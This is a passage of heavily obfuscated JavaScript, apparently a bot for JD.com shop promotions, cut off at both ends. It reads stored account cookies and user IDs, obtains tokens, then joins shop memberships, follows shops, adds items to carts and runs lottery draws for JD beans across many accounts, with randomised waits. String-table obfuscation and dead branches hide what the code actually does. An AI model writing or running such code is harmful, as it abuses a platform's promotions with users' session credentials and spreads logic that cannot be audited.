_0xf97c55=0x0;_0x1a7554[_0x1349('3a')](_0xf97c55,cookiesArr[_0x1349('3b')]);_0xf97c55++){if(_0x1a7554[_0x1349('3c')](_0x1a7554[_0x1349('3d')],_0x1a7554[_0x1349('3d')])){if($[_0x1349('3e')]){$[_0x1349('34')]=$[_0x1349('3e')];console[_0x1349('7')](_0x1349('3f')+$[_0x1349('34')]);}else{console[_0x1349('7')](_0x1a7554[_0x1349('40')]);return;}}else{cookie=cookiesArr[_0xf97c55];if(cookie){$[_0x1349('41')]=_0x1a7554[_0x1349('42')](decodeURIComponent,cookie[_0x1349('43')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x1349('43')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x1349('44')]=_0x1a7554[_0x1349('30')](_0xf97c55,0x1);_0x1a7554[_0x1349('45')](getUA);console[_0x1349('7')](_0x1349('46')+$[_0x1349('44')]+'】'+$[_0x1349('41')]+_0x1349('47'));await _0x1a7554[_0x1349('48')](run);if(_0x1a7554[_0x1349('49')](_0xf97c55,0x0)&&!$[_0x1349('3e')])break;if($[_0x1349('13')])break;}}}if($[_0x1349('13')]){if(_0x1a7554[_0x1349('22')](_0x1a7554[_0x1349('4a')],_0x1a7554[_0x1349('4a')])){let _0x4da638=_0x1a7554[_0x1349('4b')];$[_0x1349('24')]($[_0x1349('25')],'',''+_0x4da638);if($[_0x1349('0')]())await notify[_0x1349('4c')](''+$[_0x1349('25')][_0x1349('4d')](/-/g,'/'),''+_0x4da638);}else{console[_0x1349('7')](_0x1349('4e')+(res[_0x1349('2e')]||''));}}})()[_0x1349('4f')](_0x3741ef=>$[_0x1349('50')](_0x3741ef))[_0x1349('51')](()=>$[_0x1349('52')]());async function run(){var _0x3eb752={'UDBSC':function(_0x553a51){return _0x553a51();},'atgFl':function(_0x2ce6a2,_0x3073e4){return _0x2ce6a2!=_0x3073e4;},'YWYqx':_0x1349('53'),'zKSVu':function(_0x2df02f,_0x2c14b1){return _0x2df02f!=_0x2c14b1;},'QdITn':function(_0x5b1ffb,_0x3c55d8){return _0x5b1ffb==_0x3c55d8;},'Jimaj':_0x1349('54'),'TBVNg':function(_0x3022f0,_0x59e54e){return _0x3022f0!==_0x59e54e;},'cDpmg':_0x1349('55'),'bcfTO':function(_0x4ce56d){return _0x4ce56d();},'IBFWU':_0x1349('56'),'waXsD':function(_0x5cc235){return _0x5cc235();},'UAlMX':function(_0x3143db,_0x71f112){return _0x3143db===_0x71f112;},'YFotC':function(_0x1b1bb8,_0x56602f){return _0x1b1bb8==_0x56602f;},'nstYK':function(_0x5c25ba,_0xf935bc){return _0x5c25ba===_0xf935bc;},'TeYAQ':_0x1349('57'),'gdBGV':_0x1349('58'),'wgiKO':function(_0x39695e){return _0x39695e();},'wZGCH':_0x1349('59'),'ofKHN':function(_0x46b5e){return _0x46b5e();},'mGxAT':function(_0x36f861){return _0x36f861();},'NCkNX':_0x1349('5a'),'gXijB':function(_0x3dedde){return _0x3dedde();},'EJNlW':function(_0x384032,_0x873d7f){return _0x384032!==_0x873d7f;},'tNMkH':_0x1349('5b'),'sYxHf':_0x1349('5c'),'NbYCx':_0x1349('5d'),'njWMz':function(_0x4293a9,_0x2d7cca){return _0x4293a9(_0x2d7cca);},'kwbxy':function(_0x79d191,_0x239d66,_0x2aaaf8){return _0x79d191(_0x239d66,_0x2aaaf8);},'eNKzj':function(_0x2ba628,_0x31b4ff){return _0x2ba628+_0x31b4ff;},'mjhGg':function(_0x3c4eda,_0x219c6a){return _0x3c4eda*_0x219c6a;},'kTHzD':function(_0x2cc894,_0x4ef787){return _0x2cc894==_0x4ef787;},'AgzpR':_0x1349('5e'),'RHFOx':function(_0x12bfe0){return _0x12bfe0();},'zjCaX':function(_0x39b023,_0x2cff58){return _0x39b023(_0x2cff58);},'JJSTf':function(_0x2ae327,_0xe72251){return _0x2ae327+_0xe72251;},'fXeRe':function(_0x4dc421,_0x6161c1){return _0x4dc421==_0x6161c1;},'UlVWD':function(_0x5719cc,_0x49187e){return _0x5719cc(_0x49187e);},'QOupJ':function(_0x382035,_0x41695b){return _0x382035(_0x41695b);},'hWtXV':_0x1349('5f'),'QzOiz':function(_0x9d8f68){return _0x9d8f68();},'sEAbI':function(_0xb9c360,_0x246a73){return _0xb9c360+_0x246a73;},'oAnii':_0x1349('60'),'pYCrE':function(_0x46acac,_0x3ae8cf){return _0x46acac!=_0x3ae8cf;},'SIpGK':function(_0x33f1a6,_0x4d92d6){return _0x33f1a6+_0x4d92d6;},'Ncpam':_0x1349('18'),'yilzh':_0x1349('61'),'BeNKl':function(_0x292ae7){return _0x292ae7();},'XRpfi':function(_0x1efb33,_0x958d20,_0x5cebb5){return _0x1efb33(_0x958d20,_0x5cebb5);},'vJGtA':function(_0x5b390f){return _0x5b390f();},'QgHkz':function(_0xed15ea,_0xfd0864){return _0xed15ea===_0xfd0864;},'LDYhu':_0x1349('62'),'RYBxz':_0x1349('63'),'mIRJh':_0x1349('14'),'tuqCw':function(_0x28d855,_0x15d627,_0x53d262){return _0x28d855(_0x15d627,_0x53d262);},'bhoNP':function(_0x18e681,_0x1494c2){return _0x18e681+_0x1494c2;},'pZsUP':function(_0x2f8216,_0x2fe9ec){return _0x2f8216===_0x2fe9ec;},'fQtnW':_0x1349('64'),'DKxxg':_0x1349('65')};try{if(_0x3eb752[_0x1349('66')](_0x3eb752[_0x1349('67')],_0x3eb752[_0x1349('67')])){console[_0x1349('7')](''+$[_0x1349('68')](err));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('69'));}else{lz_jdpin_token='';$[_0x1349('6a')]='';$[_0x1349('6b')]='';await _0x3eb752[_0x1349('6c')](getCk);if(_0x3eb752[_0x1349('6d')](activityCookie,'')){console[_0x1349('7')](_0x1349('6e'));return;}if($[_0x1349('13')]){console[_0x1349('7')](_0x3eb752[_0x1349('6f')]);return;}await _0x3eb752[_0x1349('70')](getToken);if(_0x3eb752[_0x1349('6d')]($[_0x1349('6a')],'')){console[_0x1349('7')](_0x3eb752[_0x1349('71')]);return;}await _0x3eb752[_0x1349('72')](getSimpleActInfoVo);$[_0x1349('73')]='';await _0x3eb752[_0x1349('72')](getMyPing);if(_0x3eb752[_0x1349('74')]($[_0x1349('6b')],'')||_0x3eb752[_0x1349('6d')](typeof $[_0x1349('75')],_0x3eb752[_0x1349('76')])||_0x3eb752[_0x1349('77')](typeof $[_0x1349('78')],_0x3eb752[_0x1349('76')])){if(_0x3eb752[_0x1349('79')](_0x3eb752[_0x1349('7a')],_0x3eb752[_0x1349('7a')])){$[_0x1349('7')](_0x3eb752[_0x1349('7b')]);return;}else{_0x3eb752[_0x1349('6c')](resolve);}}await _0x3eb752[_0x1349('7c')](accessLogWithAD);$[_0x1349('7d')]=_0x3eb752[_0x1349('7e')];await _0x3eb752[_0x1349('7f')](getUserInfo);$[_0x1349('3e')]='';await _0x3eb752[_0x1349('80')](getActorUuid);if(!$[_0x1349('3e')]){console[_0x1349('7')](_0x3eb752[_0x1349('81')]);return;}await _0x3eb752[_0x1349('82')](drawContent);await $[_0x1349('83')](0x3e8);let _0x50dad1=await _0x3eb752[_0x1349('82')](checkOpenCard);if(_0x50dad1&&!_0x50dad1[_0x1349('84')]&&!$[_0x1349('13')]){if(_0x3eb752[_0x1349('85')](_0x3eb752[_0x1349('86')],_0x3eb752[_0x1349('87')])){let _0x431134=!![];for(let _0x1efb41 of _0x50dad1[_0x1349('88')]&&_0x50dad1[_0x1349('88')]||[]){if(_0x3eb752[_0x1349('77')](_0x1efb41[_0x1349('89')],0x0)){var _0xfdbc88=_0x3eb752[_0x1349('8a')][_0x1349('8b')]('|'),_0x9bb00a=0x0;while(!![]){switch(_0xfdbc88[_0x9bb00a++]){case'0':await _0x3eb752[_0x1349('8c')](join,_0x1efb41[_0x1349('8d')]);continue;case'1':if(_0x431134)_0x431134=![];continue;case'2':await $[_0x1349('83')](_0x3eb752[_0x1349('8e')](parseInt,_0x3eb752[_0x1349('8f')](_0x3eb752[_0x1349('90')](Math[_0x1349('91')](),0x3e8),0x1388),0xa));continue;case'3':if(_0x431134)console[_0x1349('7')]('组1');continue;case'4':await _0x3eb752[_0x1349('82')](drawContent);continue;case'5':console[_0x1349('7')](_0x1efb41[_0x1349('25')]);continue;}break;}}}_0x431134=!![];for(let _0x36f797 of _0x50dad1[_0x1349('92')]&&_0x50dad1[_0x1349('92')]||[]){if(_0x3eb752[_0x1349('93')](_0x36f797[_0x1349('89')],0x0)){var _0x3cd05b=_0x3eb752[_0x1349('94')][_0x1349('8b')]('|'),_0x424994=0x0;while(!![]){switch(_0x3cd05b[_0x424994++]){case'0':await _0x3eb752[_0x1349('95')](drawContent);continue;case'1':await _0x3eb752[_0x1349('96')](join,_0x36f797[_0x1349('8d')]);continue;case'2':await $[_0x1349('83')](_0x3eb752[_0x1349('8e')](parseInt,_0x3eb752[_0x1349('97')](_0x3eb752[_0x1349('90')](Math[_0x1349('91')](),0x3e8),0x1388),0xa));continue;case'3':if(_0x431134)console[_0x1349('7')]('组2');continue;case'4':if(_0x431134)_0x431134=![];continue;case'5':console[_0x1349('7')](_0x36f797[_0x1349('25')]);continue;}break;}}}await $[_0x1349('83')](0x3e8);await _0x3eb752[_0x1349('95')](drawContent);_0x50dad1=await _0x3eb752[_0x1349('95')](checkOpenCard);await $[_0x1349('83')](0x3e8);}else{if(_0x3eb752[_0x1349('98')](typeof res[_0x1349('99')][_0x1349('9a')][_0x1349('9b')],_0x3eb752[_0x1349('76')]))$[_0x1349('9a')]=res[_0x1349('99')][_0x1349('9a')][_0x1349('9b')];if(_0x3eb752[_0x1349('9c')](typeof res[_0x1349('99')][_0x1349('9d')][_0x1349('9b')],_0x3eb752[_0x1349('76')]))$[_0x1349('9d')]=res[_0x1349('99')][_0x1349('9d')][_0x1349('9b')];if(_0x3eb752[_0x1349('9c')](typeof res[_0x1349('99')][_0x1349('3e')],_0x3eb752[_0x1349('76')]))$[_0x1349('3e')]=res[_0x1349('99')][_0x1349('3e')];}}if(_0x50dad1&&_0x3eb752[_0x1349('9e')](_0x50dad1[_0x1349('9f')],0x1)&&!$[_0x1349('13')])await _0x3eb752[_0x1349('a0')](startDraw,0x1);if(_0x50dad1&&_0x3eb752[_0x1349('9e')](_0x50dad1[_0x1349('a1')],0x1)&&!$[_0x1349('13')])await _0x3eb752[_0x1349('a2')](startDraw,0x2);$[_0x1349('7')](_0x3eb752[_0x1349('97')](_0x3eb752[_0x1349('a3')],$[_0x1349('9a')]));if(!$[_0x1349('9a')]&&!$[_0x1349('13')])await _0x3eb752[_0x1349('a4')](followShop);if(!$[_0x1349('9a')]&&!$[_0x1349('13')])await $[_0x1349('83')](_0x3eb752[_0x1349('8e')](parseInt,_0x3eb752[_0x1349('a5')](_0x3eb752[_0x1349('90')](Math[_0x1349('91')](),0x3e8),0x1388),0xa));$[_0x1349('7')](_0x3eb752[_0x1349('a5')](_0x3eb752[_0x1349('a6')],$[_0x1349('9d')]));if(!$[_0x1349('9d')]&&_0x3eb752[_0x1349('a7')](_0x3eb752[_0x1349('a8')](guaopencard_addSku,''),_0x3eb752[_0x1349('a9')]))console[_0x1349('7')](_0x3eb752[_0x1349('aa')]);if(!$[_0x1349('9d')]&&_0x3eb752[_0x1349('9e')](guaopencard_addSku,_0x3eb752[_0x1349('a9')])&&!$[_0x1349('13')])await _0x3eb752[_0x1349('ab')](addSku);if(!$[_0x1349('9d')]&&_0x3eb752[_0x1349('9e')](guaopencard_addSku,_0x3eb752[_0x1349('a9')])&&!$[_0x1349('13')])await $[_0x1349('83')](_0x3eb752[_0x1349('ac')](parseInt,_0x3eb752[_0x1349('a8')](_0x3eb752[_0x1349('90')](Math[_0x1349('91')](),0x3e8),0x1388),0xa));await _0x3eb752[_0x1349('ad')](getDrawRecordHasCoupon);await $[_0x1349('83')](0x3e8);await _0x3eb752[_0x1349('ad')](getShareRecord);$[_0x1349('7')]($[_0x1349('34')]);if(_0x3eb752[_0x1349('ae')]($[_0x1349('44')],0x1)){if($[_0x1349('3e')]){if(_0x3eb752[_0x1349('ae')](_0x3eb752[_0x1349('af')],_0x3eb752[_0x1349('b0')])){for(let _0x408d22 of res[_0x1349('b1')][_0x1349('b2')][_0x1349('b3')]){console[_0x1349('7')](_0x1349('b4')+_0x408d22[_0x1349('b5')]+_0x408d22[_0x1349('b6')]+_0x408d22[_0x1349('b7')]);}}else{$[_0x1349('34')]=$[_0x1349('3e')];console[_0x1349('7')](_0x1349('3f')+$[_0x1349('34')]);}}else{console[_0x1349('7')](_0x3eb752[_0x1349('b8')]);return;}}await $[_0x1349('83')](_0x3eb752[_0x1349('b9')](parseInt,_0x3eb752[_0x1349('ba')](_0x3eb752[_0x1349('90')](Math[_0x1349('91')](),0x3e8),0x3e8),0xa));if(!$[_0x1349('9a')])await $[_0x1349('83')](_0x3eb752[_0x1349('b9')](parseInt,_0x3eb752[_0x1349('ba')](_0x3eb752[_0x1349('90')](Math[_0x1349('91')](),0x3e8),0x2710),0xa));}}catch(_0x5e06d9){if(_0x3eb752[_0x1349('bb')](_0x3eb752[_0x1349('bc')],_0x3eb752[_0x1349('bd')])){if(resp[_0x1349('be')]&&_0x3eb752[_0x1349('6d')](resp[_0x1349('be')],0x1ed)){console[_0x1349('7')](_0x3eb752[_0x1349('6f')]);$[_0x1349('13')]=!![];}console[_0x1349('7')](''+$[_0x1349('68')](err));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('bf'));}else{console[_0x1349('7')](_0x5e06d9);}}}function getDrawRecordHasCoupon(){var _0x4b705f={'ZhDVt':function(_0x55303f,_0x3af9d2){return _0x55303f==_0x3af9d2;},'KZmRT':_0x1349('54'),'RUblL':function(_0xaab1e5,_0x56a159){return _0xaab1e5||_0x56a159;},'UMzXi':_0x1349('c0'),'okDJX':function(_0x41421f,_0x295c58){return _0x41421f!=_0x295c58;},'arilq':_0x1349('53'),'eWTjI':function(_0x269869,_0x1166d1){return _0x269869===_0x1166d1;},'lVNNW':_0x1349('c1'),'opeeS':_0x1349('c2'),'viMAf':function(_0xaf3aba,_0x1b2665){return _0xaf3aba==_0x1b2665;},'CMThN':_0x1349('c3'),'MIKTc':function(_0x195d63,_0x1b8454){return _0x195d63===_0x1b8454;},'PedAS':function(_0x498e4d,_0x4a2243){return _0x498e4d!==_0x4a2243;},'EinGN':_0x1349('c4'),'pjIac':_0x1349('c5'),'ypVZy':_0x1349('c6'),'AsYEV':function(_0x1010de,_0x3a1cfc){return _0x1010de!=_0x3a1cfc;},'jYrVH':function(_0xe51522,_0x4d134f){return _0xe51522+_0x4d134f;},'dUsyO':function(_0x1b9844,_0x1a71cc){return _0x1b9844>_0x1a71cc;},'oqhxI':function(_0x594c07,_0x2a375d){return _0x594c07*_0x2a375d;},'zFvUV':function(_0x31ac23,_0x35a82e,_0x37e73d){return _0x31ac23(_0x35a82e,_0x37e73d);},'EmPWB':_0x1349('c7'),'BlQyJ':_0x1349('c8'),'AaVKM':_0x1349('c9'),'CPhGt':function(_0x4bbfd7){return _0x4bbfd7();},'TrcQK':_0x1349('ca'),'pnOSr':function(_0x5ab240,_0x5c05d7){return _0x5ab240(_0x5c05d7);},'wyWQI':function(_0x4c44f7,_0x144096,_0x479a03){return _0x4c44f7(_0x144096,_0x479a03);},'vHrPH':_0x1349('cb')};return new Promise(_0x1a58af=>{var _0x2afd7b={'XluVa':function(_0x2bc53d,_0x57208){return _0x4b705f[_0x1349('cc')](_0x2bc53d,_0x57208);},'utUZA':_0x4b705f[_0x1349('cd')],'MhIkC':function(_0x477ee0,_0x545583){return _0x4b705f[_0x1349('ce')](_0x477ee0,_0x545583);},'Kzdua':_0x4b705f[_0x1349('cf')],'usnrd':function(_0x3dbcb4,_0x357a1e){return _0x4b705f[_0x1349('d0')](_0x3dbcb4,_0x357a1e);},'gqVPt':_0x4b705f[_0x1349('d1')],'TqwpE':_0x4b705f[_0x1349('d2')],'APPfV':function(_0x2d6679,_0x1b522b){return _0x4b705f[_0x1349('d3')](_0x2d6679,_0x1b522b);},'GCKMh':_0x4b705f[_0x1349('d4')],'qROTs':function(_0x2220fc,_0x229cbd){return _0x4b705f[_0x1349('d5')](_0x2220fc,_0x229cbd);},'FxWhR':function(_0x51198f,_0x21e188){return _0x4b705f[_0x1349('d6')](_0x51198f,_0x21e188);},'nOrko':_0x4b705f[_0x1349('d7')],'WZCVV':_0x4b705f[_0x1349('d8')],'JgUYH':function(_0x4e444a,_0x2c71b0){return _0x4b705f[_0x1349('d3')](_0x4e444a,_0x2c71b0);},'iALAe':_0x4b705f[_0x1349('d9')],'GpdSS':function(_0x2e99d3,_0x15e203){return _0x4b705f[_0x1349('da')](_0x2e99d3,_0x15e203);},'GGVkB':function(_0x4cf949,_0x415d4b){return _0x4b705f[_0x1349('db')](_0x4cf949,_0x415d4b);},'mLINj':function(_0xdc0007,_0x921170){return _0x4b705f[_0x1349('dc')](_0xdc0007,_0x921170);},'SaAcx':function(_0x18d7c8,_0x27d2d5){return _0x4b705f[_0x1349('dd')](_0x18d7c8,_0x27d2d5);},'naiox':function(_0x364b51,_0x312fa2,_0x12183c){return _0x4b705f[_0x1349('de')](_0x364b51,_0x312fa2,_0x12183c);},'yuySy':function(_0x12b95d,_0x1600a6){return _0x4b705f[_0x1349('d6')](_0x12b95d,_0x1600a6);},'zfQiO':_0x4b705f[_0x1349('df')],'TNpoV':_0x4b705f[_0x1349('e0')],'eflsD':function(_0x56ebea,_0x20a00c){return _0x4b705f[_0x1349('d6')](_0x56ebea,_0x20a00c);},'qqDoP':_0x4b705f[_0x1349('e1')],'BHlJQ':function(_0x14e6f2){return _0x4b705f[_0x1349('e2')](_0x14e6f2);}};if(_0x4b705f[_0x1349('d5')](_0x4b705f[_0x1349('e3')],_0x4b705f[_0x1349('e3')])){let _0x5d7c72=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e5')+$[_0x1349('3e')]+_0x1349('e6')+_0x4b705f[_0x1349('e7')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('e8');$[_0x1349('e9')](_0x4b705f[_0x1349('ea')](taskPostUrl,_0x4b705f[_0x1349('eb')],_0x5d7c72),async(_0x3c0549,_0x13dc5e,_0x371311)=>{var _0x559016={'KVDEe':function(_0x57963b,_0x444ed3){return _0x2afd7b[_0x1349('ec')](_0x57963b,_0x444ed3);},'YfQHj':_0x2afd7b[_0x1349('ed')],'vZpHZ':function(_0xd0fdd7,_0x1c97c5){return _0x2afd7b[_0x1349('ee')](_0xd0fdd7,_0x1c97c5);},'pbrxM':_0x2afd7b[_0x1349('ef')]};try{if(_0x2afd7b[_0x1349('f0')](_0x2afd7b[_0x1349('f1')],_0x2afd7b[_0x1349('f2')])){let _0xd801ab='';if(res[_0x1349('99')][_0x1349('f3')]){_0xd801ab=res[_0x1349('99')][_0x1349('f3')]+'京豆';}if(res[_0x1349('99')][_0x1349('f4')]&&res[_0x1349('99')][_0x1349('f5')]){_0xd801ab+=_0x1349('f6')+res[_0x1349('99')][_0x1349('f4')]+'京豆';}console[_0x1349('7')](_0x1349('f7')+_0x559016[_0x1349('f8')](_0xd801ab,_0x559016[_0x1349('f9')]));}else{if(_0x3c0549){console[_0x1349('7')](''+$[_0x1349('68')](_0x3c0549));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{res=$[_0x1349('fb')](_0x371311);if(_0x2afd7b[_0x1349('fc')](typeof res,_0x2afd7b[_0x1349('fd')])){if(_0x2afd7b[_0x1349('fe')](res[_0x1349('b1')],!![])&&res[_0x1349('99')]){console[_0x1349('7')](_0x1349('ff'));let _0x1179b8=0x0;let _0x5c1b68=0x0;for(let _0x2ea187 in res[_0x1349('99')]){if(_0x2afd7b[_0x1349('100')](_0x2afd7b[_0x1349('101')],_0x2afd7b[_0x1349('102')])){let _0x4c2dfb=res[_0x1349('99')][_0x2ea187];if(_0x2afd7b[_0x1349('103')](_0x4c2dfb[_0x1349('8d')],_0x2afd7b[_0x1349('104')]))_0x1179b8++;if(_0x2afd7b[_0x1349('103')](_0x4c2dfb[_0x1349('8d')],_0x2afd7b[_0x1349('104')]))_0x5c1b68=_0x4c2dfb[_0x1349('105')][_0x1349('4d')]('京豆','');if(_0x2afd7b[_0x1349('ee')](_0x4c2dfb[_0x1349('8d')],_0x2afd7b[_0x1349('104')]))console[_0x1349('7')](''+(_0x2afd7b[_0x1349('106')](_0x4c2dfb[_0x1349('107')],0xa)&&_0x2afd7b[_0x1349('108')](_0x4c2dfb[_0x1349('8d')],':')||'')+_0x4c2dfb[_0x1349('105')]);}else{$[_0x1349('50')](e,_0x13dc5e);}}if(_0x2afd7b[_0x1349('109')](_0x1179b8,0x0))console[_0x1349('7')](_0x1349('10a')+_0x1179b8+'):'+(_0x2afd7b[_0x1349('10b')](_0x1179b8,_0x2afd7b[_0x1349('10c')](parseInt,_0x5c1b68,0xa))||0x1e)+'京豆');}else if(_0x2afd7b[_0x1349('103')](typeof res,_0x2afd7b[_0x1349('fd')])&&res[_0x1349('2e')]){if(_0x2afd7b[_0x1349('10d')](_0x2afd7b[_0x1349('10e')],_0x2afd7b[_0x1349('10f')])){console[_0x1349('7')](_0x1349('110')+(res[_0x1349('2e')]||''));}else{if(_0x559016[_0x1349('111')](typeof res[_0x1349('112')],_0x559016[_0x1349('113')]))$[_0x1349('6a')]=res[_0x1349('112')];}}else{if(_0x2afd7b[_0x1349('114')](_0x2afd7b[_0x1349('115')],_0x2afd7b[_0x1349('115')])){return JSON[_0x1349('116')](str);}else{console[_0x1349('7')](_0x371311);}}}else{console[_0x1349('7')](_0x371311);}}}}catch(_0x46f8c1){$[_0x1349('50')](_0x46f8c1,_0x13dc5e);}finally{_0x2afd7b[_0x1349('117')](_0x1a58af);}});}else{if(resp[_0x1349('be')]&&_0x4b705f[_0x1349('118')](resp[_0x1349('be')],0x1ed)){console[_0x1349('7')](_0x4b705f[_0x1349('119')]);$[_0x1349('13')]=!![];}console[_0x1349('7')](''+$[_0x1349('68')](err));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}});}function getShareRecord(){var _0x3ebc56={'tKigL':function(_0x5621b1){return _0x5621b1();},'aLwyO':_0x1349('11a'),'GketL':function(_0x10c237,_0x37bbf6){return _0x10c237!==_0x37bbf6;},'wxnbU':_0x1349('11b'),'SHRMO':_0x1349('11c'),'BWvhh':function(_0x3fdf09,_0x408145){return _0x3fdf09===_0x408145;},'TkiqB':_0x1349('11d'),'eLDCo':_0x1349('11e'),'IvEae':function(_0x51fe4b,_0x9caf8f){return _0x51fe4b==_0x9caf8f;},'vCPAQ':_0x1349('c3'),'awusS':function(_0x2308e7,_0x3f0fdf){return _0x2308e7===_0x3f0fdf;},'eSwra':_0x1349('11f'),'kBErd':_0x1349('120'),'dAArL':_0x1349('121'),'FQMes':_0x1349('122'),'srwPv':function(_0x422e59){return _0x422e59();},'EtOKa':function(_0x582c35){return _0x582c35();},'jFldy':function(_0x174772,_0x65e25e){return _0x174772(_0x65e25e);},'YhixG':function(_0x90f96d,_0x84bb38,_0x93c433){return _0x90f96d(_0x84bb38,_0x93c433);},'ZaZwR':_0x1349('123')};return new Promise(_0x3c83d5=>{var _0x1b1a05={'dCqdG':function(_0x1a3968){return _0x3ebc56[_0x1349('124')](_0x1a3968);}};let _0x361709=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e5')+$[_0x1349('3e')]+_0x1349('e6')+_0x3ebc56[_0x1349('125')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('e8');$[_0x1349('e9')](_0x3ebc56[_0x1349('126')](taskPostUrl,_0x3ebc56[_0x1349('127')],_0x361709),async(_0x3a1e81,_0x15dd6e,_0x47fb34)=>{var _0x5a7802={'xiQmF':function(_0xe78247){return _0x3ebc56[_0x1349('128')](_0xe78247);},'ebMpN':_0x3ebc56[_0x1349('129')]};if(_0x3ebc56[_0x1349('12a')](_0x3ebc56[_0x1349('12b')],_0x3ebc56[_0x1349('12c')])){try{if(_0x3a1e81){console[_0x1349('7')](''+$[_0x1349('68')](_0x3a1e81));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{if(_0x3ebc56[_0x1349('12d')](_0x3ebc56[_0x1349('12e')],_0x3ebc56[_0x1349('12f')])){console[_0x1349('7')](_0x47fb34);}else{res=$[_0x1349('fb')](_0x47fb34);if(_0x3ebc56[_0x1349('130')](typeof res,_0x3ebc56[_0x1349('131')])){if(_0x3ebc56[_0x1349('12d')](res[_0x1349('b1')],!![])&&res[_0x1349('99')]){$[_0x1349('7')](_0x1349('132')+res[_0x1349('99')][_0x1349('3b')]+'个');}else if(_0x3ebc56[_0x1349('130')](typeof res,_0x3ebc56[_0x1349('131')])&&res[_0x1349('2e')]){if(_0x3ebc56[_0x1349('133')](_0x3ebc56[_0x1349('134')],_0x3ebc56[_0x1349('135')])){console[_0x1349('7')](_0x47fb34);}else{console[_0x1349('7')](''+(res[_0x1349('2e')]||''));}}else{console[_0x1349('7')](_0x47fb34);}}else{if(_0x3ebc56[_0x1349('133')](_0x3ebc56[_0x1349('136')],_0x3ebc56[_0x1349('136')])){console[_0x1349('7')](_0x47fb34);}else{_0x5a7802[_0x1349('137')](_0x3c83d5);}}}}}catch(_0x1e96e1){$[_0x1349('50')](_0x1e96e1,_0x15dd6e);}finally{if(_0x3ebc56[_0x1349('12a')](_0x3ebc56[_0x1349('138')],_0x3ebc56[_0x1349('138')])){console[_0x1349('7')](e);$[_0x1349('24')]($[_0x1349('25')],'',_0x5a7802[_0x1349('139')]);return[];}else{_0x3ebc56[_0x1349('13a')](_0x3c83d5);}}}else{_0x1b1a05[_0x1349('13b')](_0x3c83d5);}});});}function addSku(){var _0x1eb8ed={'AeJyE':function(_0x4ead4b){return _0x4ead4b();},'hpajn':function(_0x59c87e,_0x1dd77e){return _0x59c87e>_0x1dd77e;},'Jrvcd':_0x1349('13c'),'LeRFt':function(_0x5eb68c,_0x25273c){return _0x5eb68c+_0x25273c;},'ZkLhZ':_0x1349('13d'),'jRluB':function(_0x48adbe,_0x188fdb){return _0x48adbe+_0x188fdb;},'UGLaG':function(_0x5cd7ef,_0x195778){return _0x5cd7ef||_0x195778;},'XOnkb':_0x1349('13e'),'tiWlP':function(_0x112eea,_0xc8bd85){return _0x112eea<_0xc8bd85;},'JzQiW':function(_0x243d97,_0x56acde){return _0x243d97*_0x56acde;},'lRpfG':function(_0x59df76){return _0x59df76();},'PwtPI':function(_0x2388fb,_0x371d54){return _0x2388fb===_0x371d54;},'qSszH':_0x1349('13f'),'vakBu':function(_0x6dac71,_0x58a8cb){return _0x6dac71===_0x58a8cb;},'fQOpm':_0x1349('140'),'ZxwWs':_0x1349('141'),'Vxume':function(_0x289de3,_0x2a98b4){return _0x289de3!==_0x2a98b4;},'jmerd':_0x1349('142'),'aBLiH':_0x1349('143'),'buinj':function(_0x27a964,_0x2e93c7){return _0x27a964==_0x2e93c7;},'YHxoV':function(_0x3eab6b,_0x49ba1f){return _0x3eab6b!==_0x49ba1f;},'pVzTi':_0x1349('144'),'DmEdC':_0x1349('145'),'dwgfQ':_0x1349('54'),'SAcfw':function(_0x152dc1,_0x467596){return _0x152dc1==_0x467596;},'sTYbn':_0x1349('c3'),'WwmCz':_0x1349('146'),'FApeg':_0x1349('147'),'kAzOE':function(_0xbeb32a,_0x182e22){return _0xbeb32a===_0x182e22;},'rsDpF':_0x1349('c0'),'ZfjrW':function(_0x57be7f,_0x51fe4f){return _0x57be7f===_0x51fe4f;},'GrUvP':_0x1349('148'),'otvUH':_0x1349('149'),'svjEm':function(_0x3dcc7a,_0xf7ee7){return _0x3dcc7a===_0xf7ee7;},'gDelq':_0x1349('14a'),'MOrXP':function(_0x56f170){return _0x56f170();},'WtnFI':_0x1349('14b'),'paZIM':function(_0x585c5b,_0x5018ad){return _0x585c5b(_0x5018ad);},'YDXDV':function(_0x3dd48d,_0x3ef564,_0x187813){return _0x3dd48d(_0x3ef564,_0x187813);},'YshJJ':_0x1349('14c')};return new Promise(_0x20ff12=>{if(_0x1eb8ed[_0x1349('14d')](_0x1eb8ed[_0x1349('14e')],_0x1eb8ed[_0x1349('14e')])){_0x1eb8ed[_0x1349('14f')](_0x20ff12);}else{let _0x4de405=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e6')+_0x1eb8ed[_0x1349('150')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('e5')+$[_0x1349('3e')]+_0x1349('151');$[_0x1349('e9')](_0x1eb8ed[_0x1349('152')](taskPostUrl,_0x1eb8ed[_0x1349('153')],_0x4de405),async(_0xf1c867,_0x406892,_0x14213b)=>{var _0x577f54={'rLbIC':function(_0x741ad5,_0x3c0aaf){return _0x1eb8ed[_0x1349('154')](_0x741ad5,_0x3c0aaf);},'pxkJN':_0x1eb8ed[_0x1349('155')],'MnSbm':function(_0x5038d1,_0x2b929e){return _0x1eb8ed[_0x1349('156')](_0x5038d1,_0x2b929e);},'hKoap':function(_0x5b8615,_0x39fb4b){return _0x1eb8ed[_0x1349('154')](_0x5b8615,_0x39fb4b);},'pBHnT':_0x1eb8ed[_0x1349('157')],'OqGSs':function(_0x1306e1,_0x2b0cce){return _0x1eb8ed[_0x1349('158')](_0x1306e1,_0x2b0cce);},'RBoSY':function(_0xe2ea06,_0x44dc3b){return _0x1eb8ed[_0x1349('159')](_0xe2ea06,_0x44dc3b);},'KBvhi':_0x1eb8ed[_0x1349('15a')],'hdqEQ':function(_0x393f23,_0x488d8b){return _0x1eb8ed[_0x1349('15b')](_0x393f23,_0x488d8b);},'BZIqt':function(_0x425606,_0x5f034c){return _0x1eb8ed[_0x1349('15c')](_0x425606,_0x5f034c);},'sEQcm':function(_0x11f490){return 